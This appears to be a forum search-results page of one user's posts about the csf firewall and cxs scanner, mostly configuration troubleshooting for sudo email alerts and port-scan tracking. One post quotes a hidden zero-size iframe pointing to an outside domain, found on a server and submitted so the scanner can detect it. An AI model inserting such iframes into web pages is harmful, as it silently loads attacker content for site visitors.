Search found 10 matches
- 14 Dec 2021, 21:51
- Forum: General Discussion (csf)
- Topic: LF_SUDO_EMAIL_ALERT = "0" still sending emails on v14.15
- Replies: 5
- Views: 2116
Re: LF_SUDO_EMAIL_ALERT = "0" still sending emails on v14.15
Thank you Sergio, but this will not work for me. I need this bug fixed for good.
- 12 Dec 2021, 15:06
- Forum: General Discussion (csf)
- Topic: LF_SUDO_EMAIL_ALERT = "0" still sending emails on v14.15
- Replies: 5
- Views: 2116
Re: LF_SUDO_EMAIL_ALERT = "0" still sending emails on v14.15
I've also set:
but send the email anyway to root@localhost.
Any help is appreciated.
Code: Select all
LF_ALERT_TO = ""
Any help is appreciated.
- 12 Dec 2021, 14:36
- Forum: General Discussion (csf)
- Topic: LF_SUDO_EMAIL_ALERT = "0" still sending emails on v14.15
- Replies: 5
- Views: 2116
Re: LF_SUDO_EMAIL_ALERT = "0" still sending emails on v14.15
I totally restarted csf and lfd after each modification. I still get SUDO alerts, what do you need to debug this? Here is csf.conf: TESTING = "0" TESTING_INTERVAL = "5" RESTRICT_SYSLOG = "3" RESTRICT_SYSLOG_GROUP = "mysyslog" RESTRICT_UI = "1" AUTO_U...
- 09 Dec 2021, 18:07
- Forum: General Discussion (csf)
- Topic: LF_SUDO_EMAIL_ALERT = "0" still sending emails on v14.15
- Replies: 5
- Views: 2116
LF_SUDO_EMAIL_ALERT = "0" still sending emails on v14.15
Hi, LF_SUDO_EMAIL_ALERT = "0" is ignored. I have some scripts that use sudo to be executed, and I got a lot of emails even if the variable is set to 0. lfd on srv1: SUDO login alert - Successful login from user1(uid=0) to user2 I've added UID 0 to csf.uidignore but still no working.. Can y...
- 12 Nov 2016, 07:49
- Forum: General Discussion (csf)
- Topic: PS_INTERVAL set to 0 don't work on v9.27
- Replies: 4
- Views: 3627
Re: PS_INTERVAL set to 0 don't work on v9.27
Here is my configuration: TESTING = "0" TESTING_INTERVAL = "5" RESTRICT_SYSLOG = "0" RESTRICT_SYSLOG_GROUP = "mysyslog" RESTRICT_UI = "1" AUTO_UPDATES = "1" LF_SPI = "1" TCP_IN = "20,21,22,25,53,80,110,143,443,465,587,953,993...
- 11 Nov 2016, 21:08
- Forum: General Discussion (csf)
- Topic: PS_INTERVAL set to 0 don't work on v9.27
- Replies: 4
- Views: 3627
Re: PS_INTERVAL set to 0 don't work on v9.27
So PS_INTERVAL="0" doesn't work? There is no way to disable Port Scan Tracking at all or for a single port?
- 11 Nov 2016, 18:46
- Forum: General Discussion (csf)
- Topic: PS_INTERVAL set to 0 don't work on v9.27
- Replies: 4
- Views: 3627
PS_INTERVAL set to 0 don't work on v9.27
Hi, Because firewall is blocking some unwanted IPs that is trying to access for example port 8080: Nov 11 18:19:25 srv1 kernel: Firewall: *TCP_IN Blocked* IN=eth0 OUT= MAC=XXX SRC=XXX DST=XXX LEN=48 TOS=0x00 PREC=0x00 TTL=115 ID=26111 DF PROTO=TCP SPT=63838 DPT=8080 WINDOW=8192 RES=0x00 SYN URGP=0 N...
- 13 May 2013, 17:54
- Forum: Suggestions (cxs)
- Topic: Hidden iframes
- Replies: 3
- Views: 7488
Hidden iframes
Hi,
Can you please add hidden iframes on "Regular expression match"?
I found this:
and was not detected in any way by cxs.
Thank you.
Can you please add hidden iframes on "Regular expression match"?
I found this:
Code: Select all
<iframe src="http://boogyman.biz.ua/?1" width="0" height="0" frameborder="0"></iframe>
Thank you.
- 10 Aug 2012, 21:00
- Forum: Suggestions (cxs)
- Topic: Send mail to scripts owner (victims)
- Replies: 13
- Views: 33537
Re: Send mail to scripts owner (victims)
+1 on this too
- 05 Mar 2012, 10:47
- Forum: Suggestions (cxs)
- Topic: cxs for webmin?
- Replies: 1
- Views: 4804
cxs for webmin?
Hi,
Can you tell me if cxs will be available for webmin too? Like csf?
If yes, when?
Thank you!
Can you tell me if cxs will be available for webmin too? Like csf?
If yes, when?
Thank you!